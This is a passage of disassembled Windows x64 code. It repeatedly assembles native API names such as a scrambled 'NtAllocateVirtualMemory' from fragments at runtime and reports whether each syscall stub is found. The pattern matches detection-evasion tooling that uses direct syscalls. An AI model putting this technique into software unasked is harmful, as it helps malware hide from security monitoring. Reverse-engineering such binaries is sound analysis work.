mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
lea r8, [0x1400c33a0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1710]
lea rdx, [rbp + 0x1730]
lea r8, [0x1400c33e4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x16f0]
lea rdx, [rbp + 0x1710]
lea r8, [0x1400c33e4]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x16f0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1750]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1770]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1790]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x17b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x17d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x17f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1810]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1830]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1850]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1870]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x189f]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x18a0]
mov rcx, qword [rbp + 0x2fa0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140006290
lea rbx, [0x1400c33b4]
jmp 0x140006297
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1acf]
mov qword [rbp + 0x2ea8], rax
nop
nop
lea rdx, [rbp + 0x1acf]
lea rax, [rbp + 0x1aa0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x1400c33f4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x1400c33ac]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1a00]
lea rdx, [rbp + 0x1a20]
lea r8, [0x1400c33ac]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x19e0]
lea rdx, [rbp + 0x1a00]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x19c0]
lea rdx, [rbp + 0x19e0]
lea r8, [0x1400c339a]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x19a0]
lea rdx, [rbp + 0x19c0]
lea r8, [0x1400c33fa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1980]
lea rdx, [rbp + 0x19a0]
lea r8, [0x1400c33a0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1960]
lea rdx, [rbp + 0x1980]
lea r8, [0x1400c33d8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1940]
lea rdx, [rbp + 0x1960]
lea r8, [0x1400c33da]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1920]
lea rdx, [rbp + 0x1940]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1900]
lea rdx, [rbp + 0x1920]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x18e0]
lea rdx, [rbp + 0x1900]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x18c0]
lea rdx, [rbp + 0x18e0]
lea r8, [0x1400c33dc]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x18c0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x18c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1920]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1940]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1960]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1980]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x19a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x19c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1a00]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1acf]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1ad0]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x1ad0]
mov rcx, qword [rbp + 0x2f98]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x1ad0]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140006624
lea rbx, [0x1400c33b4]
jmp 0x14000662b
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1d5f]
mov qword [rbp + 0x2ea0], rax
nop
nop
lea rdx, [rbp + 0x1d5f]
lea rax, [rbp + 0x1d30]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x1400c339a]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x1400c339c]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c70]
lea r8, [0x1400c33e2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c30]
lea r8, [0x1400c33e4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
lea r8, [0x1400c33ac]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bf0]
lea r8, [0x1400c33b0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1bb0]
lea rdx, [rbp + 0x1bd0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1b90]
lea rdx, [rbp + 0x1bb0]
lea r8, [0x1400c33d8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1b70]
lea rdx, [rbp + 0x1b90]
lea r8, [0x1400c33da]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1b50]
lea rdx, [rbp + 0x1b70]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1b10]
lea rdx, [rbp + 0x1b30]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1af0]
lea rdx, [rbp + 0x1b10]
lea r8, [0x1400c33dc]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x1af0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x1af0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1b50]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1b70]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1b90]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1c10]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1c30]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1d5f]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1d60]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x1d60]
mov rcx, qword [rbp + 0x2f90]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x1d60]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140006a3c
lea rbx, [0x1400c33b4]
jmp 0x140006a43
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1fcf]
mov qword [rbp + 0x2e98], rax
nop
nop
lea rdx, [rbp + 0x1fcf]
lea rax, [rbp + 0x1fa0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x1400c33fc]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x1400c33d6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1ec0]
lea rdx, [rbp + 0x1ee0]
lea r8, [0x1400c33ea]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1ec0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1e80]
lea rdx, [rbp + 0x1ea0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e80]
lea r8, [0x1400c33e0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e60]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e40]
lea r8, [0x1400c33d8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1e00]
lea rdx, [rbp + 0x1e20]
lea r8, [0x1400c33da]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1de0]
lea rdx, [rbp + 0x1e00]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1de0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1da0]
lea rdx, [rbp + 0x1dc0]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1d80]
lea rdx, [rbp + 0x1da0]
lea r8, [0x1400c33dc]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x1d80]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x1d80]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1e20]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1e40]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1e60]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1e80]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1fcf]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x1fd0]
mov rcx, qword [rbp + 0x2f88]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140006e28
lea rbx, [0x1400c33b4]
jmp 0x140006e2f
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x223f]
mov qword [rbp + 0x2e90], rax
nop
nop
lea rdx, [rbp + 0x223f]
lea rax, [rbp + 0x2210]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x1400c33e8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x1400c33d6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x1400c33ea]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2110]
lea rdx, [rbp + 0x2130]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x20f0]
lea rdx, [rbp + 0x2110]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x20d0]
lea rdx, [rbp + 0x20f0]
lea r8, [0x1400c33e0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x20b0]
lea rdx, [rbp + 0x20d0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2090]
lea rdx, [rbp + 0x20b0]
lea r8, [0x1400c33d8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2070]
lea rdx, [rbp + 0x2090]
lea r8, [0x1400c33da]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2050]
lea rdx, [rbp + 0x2070]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2030]
lea rdx, [rbp + 0x2050]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2010]
lea rdx, [rbp + 0x2030]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1ff0]
lea rdx, [rbp + 0x2010]
lea r8, [0x1400c33dc]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x1ff0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2050]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2090]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x20d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x20f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2110]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x223f]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2240]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x2240]
mov rcx, qword [rbp + 0x2f80]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x2240]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140007214
lea rbx, [0x1400c33b4]
jmp 0x14000721b
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x246f]
mov qword [rbp + 0x2e88], rax
nop
nop
lea rdx, [rbp + 0x246f]
lea rax, [rbp + 0x2440]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x1400c33fe]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x1400c339c]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x1400c33b2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x1400c33de]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x1400c33e0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2320]
lea rdx, [rbp + 0x2340]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
lea r8, [0x1400c33a0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x2300]
lea r8, [0x1400c33ac]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x22c0]
lea rdx, [rbp + 0x22e0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2280]
lea rdx, [rbp + 0x22a0]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2280]
lea r8, [0x1400c33ea]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x2260]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x2260]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x22c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2300]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2320]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x246f]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2470]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x2470]
mov rcx, qword [rbp + 0x2f78]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x2470]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x1400075a8
lea rbx, [0x1400c33b4]
jmp 0x1400075af
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x263f]
mov qword [rbp + 0x2e80], rax
nop
nop
lea rdx, [rbp + 0x263f]
lea rax, [rbp + 0x2610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x1400c33ee]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x1400c33fa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x1400c33ea]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x1400c33e8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x1400c33a0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
